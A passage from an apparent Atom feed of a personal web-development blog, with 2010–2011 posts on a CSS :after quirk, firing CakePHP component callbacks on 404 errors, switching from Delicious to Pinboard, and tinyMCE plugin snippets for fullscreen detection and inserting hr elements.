&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  position&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;absolute&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  content&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  top&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  right&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;-15&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  width&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  height&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  background&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;arrow.gif&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; top&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; left&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; no-repeat&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Update&lt;/h2&gt;
&lt;p&gt;It should be noted that more generally, I gets confused and create ghost
elements and styling when we try to update the &lt;code&gt;:after&lt;/code&gt;/&lt;code&gt;:before&lt;/code&gt; properties
based on a rule selecting its parent.&lt;/p&gt;
&lt;p&gt;There seems to have a little lag/delay before the properties gets applied, and
most of the time they do not.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Firing cakePHP components callbacks on error404</title>
    <link href="https://blog.pixelastic.com/2011/01/06/firing-cakephp-components-callbacks-error404/"/>
    <updated>2011-01-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/01/06/firing-cakephp-components-callbacks-error404</id>
    <content type="html">&lt;p&gt;I often use &lt;code&gt;$this-&amp;gt;cakeError(&#39;error404&#39;)&lt;/code&gt; in my controllers to stop processing
the request (and return a 404 error) when the supplied parameters are buggy or
incomplete.&lt;/p&gt;
&lt;h2&gt;A strange side effect&lt;/h2&gt;
&lt;p&gt;I recently spotted a strange side effect on the latest site I was developping.
It used a pretty large html footer filled with links dynamically fetched from my
database.&lt;/p&gt;
&lt;p&gt;As all pages (no matter what model/controller they were refering to) were using
the same footer, I created a component with a simple &lt;code&gt;startup&lt;/code&gt; method to fetch
them all and return them to the view. I added this component to my
&lt;code&gt;AppController&lt;/code&gt; so that every controller will inherit it.&lt;/p&gt;
&lt;p&gt;This worked nicely until I spotted that on error pages, the footer was left
mostly empty. I was because my &lt;code&gt;Component&lt;/code&gt; callback was never fired.&lt;/p&gt;
&lt;h2&gt;How&#39;s that?&lt;/h2&gt;
&lt;p&gt;When detecting an error, cake starts using its &lt;code&gt;ErrorHandler&lt;/code&gt; and thus do not
fire callbacks.&lt;/p&gt;
&lt;p&gt;Fortunatly, you can create an &lt;code&gt;AppError&lt;/code&gt; class (in &lt;code&gt;app/app_error.php&lt;/code&gt;) and
overwrite the &lt;code&gt;ErrorHandler&lt;/code&gt; method. Namely, the &lt;code&gt;error404&lt;/code&gt;. I rewrote mine to
explicitly fire the &lt;code&gt;initialize&lt;/code&gt; and &lt;code&gt;startup&lt;/code&gt; methods.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; AppError&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt; ErrorHandler&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; error404&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$params&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;controller&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Component&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;initialize&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;controller&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;controller&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Component&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;startup&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;controller&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    parent&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;error404&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$params&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I only fired two of the callbacks, but maybe &lt;code&gt;beforeRender&lt;/code&gt; and &lt;code&gt;shutdown&lt;/code&gt;
should be fired too.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Moving from Delicious to Pinboard</title>
    <link href="https://blog.pixelastic.com/2011/01/04/moving-delicious-pinboard/"/>
    <updated>2011-01-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/01/04/moving-delicious-pinboard</id>
    <content type="html">&lt;p&gt;As you may have heard, Yahoo! is closing &lt;a href=&quot;http://www.delicious.com/&quot;&gt;Delicious&lt;/a&gt;.
I had started to use Delicious a lot lately, to work as a decentralised save of
all my bookmarks and being able to search through them easily.&lt;/p&gt;
&lt;p&gt;In my recent attempt to save as much of my work online, losing Delicious would
meant losing a large part of collective wisdom. So I search for an alternative.&lt;/p&gt;
&lt;p&gt;I finally registered for &lt;a href=&quot;http://pinboard.in/&quot;&gt;Pinboard&lt;/a&gt; a few days ago. It
allows an easy way to import Delicious bookmarks in a matter of seconds and has
all the features of Delicious I wanted.&lt;/p&gt;
&lt;p&gt;It is not free however, but the one-time fee depends on the number of people
using the service. I payed mine 9.12$.&lt;/p&gt;
&lt;p&gt;The website itself is not as good looking as Delicious (&lt;em&gt;ahem&lt;/em&gt;), but it does
provide a cleaner search experience (in my point of view). I really don&#39;t care
about other people bookmark, I only search through mine.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Detecting fullscreen in tinyMCE</title>
    <link href="https://blog.pixelastic.com/2011/01/03/detecting-fullscreen-tinymce/"/>
    <updated>2011-01-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/01/03/detecting-fullscreen-tinymce</id>
    <content type="html">&lt;p&gt;I wanted one of my tinyMCE plugins to fire a certain set of actions whenever the
full screen mode was activated.&lt;/p&gt;
&lt;p&gt;I search for an &lt;code&gt;onFullScren&lt;/code&gt; event or somethin similar but to no avail. I
finally discovered that the full screen actually creates a whole new tinymce
editor instance.&lt;/p&gt;
&lt;p&gt;So the only thing I had to do was writing my little piece of code in the &lt;code&gt;init&lt;/code&gt;
method of my plugin and check to see if the fullscreen was enabled.&lt;/p&gt;
&lt;p&gt;The initial fullscreen plugin exposes a &lt;code&gt;fullscreen_is_enabled&lt;/code&gt; param that can
be checked.&lt;/p&gt;
&lt;p&gt;All I had to do was a simple condition like:
&lt;code&gt;if (editor.getParam(&#39;fullscreen_is_enabled&#39;)) {}.&lt;/code&gt; And once in the condition I
tried to execute my custom code. I needed the &lt;code&gt;editor.execCommand&lt;/code&gt; method but
all I got was an error because &lt;code&gt;t.selection&lt;/code&gt; was not set.&lt;/p&gt;
&lt;p&gt;It appears that the execCommand can only be executed when the full editor
instance is loaded (and thus a t.selection is created). So I wrap my little
piece of code into a &lt;code&gt;setInterval&lt;/code&gt; checking for &lt;code&gt;editor.selection&lt;/code&gt; and finally
executed my code when the &lt;code&gt;.selection&lt;/code&gt; was set.&lt;/p&gt;
&lt;p&gt;Here is my final snippet, to be included in my plugin &lt;code&gt;init&lt;/code&gt; method:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getParam&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;fullscreen_is_enabled&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; fullScreenInterval&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; setInterval&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;selection&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    clearInterval&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;fullScreenInterval&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;execCommand&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;anyTinyMCECommand&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Adding a &lt;hr&gt; in a tinyMCE instance</title>
    <link href="https://blog.pixelastic.com/2010/12/11/adding-hr-tinymce-instance/"/>
    <updated>2010-12-11T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/12/11/adding-hr-tinymce-instance</id>
    <content type="html">&lt;p&gt;When using the default tinyMCE implementation to add an &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; element to the
editor content, the &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; is added inside its parent &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; element (when it
should be an element on its own, without such a parent).&lt;/p&gt;
&lt;p&gt;I&#39;ve added my own plugin to resolve this small issue, here is the code:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  tinymce&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;create&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;tinymce.plugins.pixelastic_hrPlugin&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    init&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;      // Register the command&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;addCommand&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;mcepixelastic_hr&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        // We get the parent node&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;        var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; parentNode&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;selection&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getNode&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;        uniqueId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dom&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;uniqueId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        // We insert the hr (with a unique id to select it later)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;        editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;execCommand&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;mceInsertContent&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&amp;#x3C;hr id=&quot;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;uniqueId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&quot; /&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;        var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; hr&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dom&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;#&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;uniqueId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        // We split the parent element around the hr&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;        editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dom&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;parentNode&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;hr&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        // We remove the temporary id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;        $&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;hr&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;attr&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;id&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;      // Adding a button&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;addButton&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;pluginName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, { title : &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;pixelastic_hr.desc&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, cmd : &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;mcepixelastic_hr&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
